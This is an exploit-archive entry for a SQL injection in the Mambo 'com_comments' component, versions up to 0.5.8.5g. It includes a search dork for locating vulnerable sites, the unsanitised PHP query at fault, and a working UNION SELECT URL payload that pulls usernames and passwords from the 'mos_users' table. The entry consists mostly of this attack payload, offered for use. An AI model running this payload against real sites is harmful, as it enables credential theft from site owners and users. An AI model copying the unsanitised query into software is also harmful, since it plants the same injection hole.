Mambo Component Comments <= 0.5.8.5g SQL Injection Vulnerability

2008-02-09T00:00:00
ID 1337DAY-ID-2621
Type zdt
Reporter CheebaHawk215
Modified 2008-02-09T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ================================================================
Mambo Component Comments <= 0.5.8.5g SQL Injection Vulnerability
================================================================



#########################################################
##
##  Mambo SQL Injection (com_comments)
##
##	Version Affected:  <=  0.5.8.5g
##  Author: CheebaHawk215
##  Home page: http://www.always420forum.com
##
#########################################################
##
## 	Dork: "Review Script", "Phil Taylor"
##
#########################################################
##	
##	Vulnerable Code:
##
##########################################################


$pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND published=1 order by id DESC";


#########################################################
##
##   Exploit:
##
#########################################################


http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1



## This is my first exploit!
## thanks to all who came before me, and enabled me to learn from their efforts!



#  0day.today [2018-01-01]  #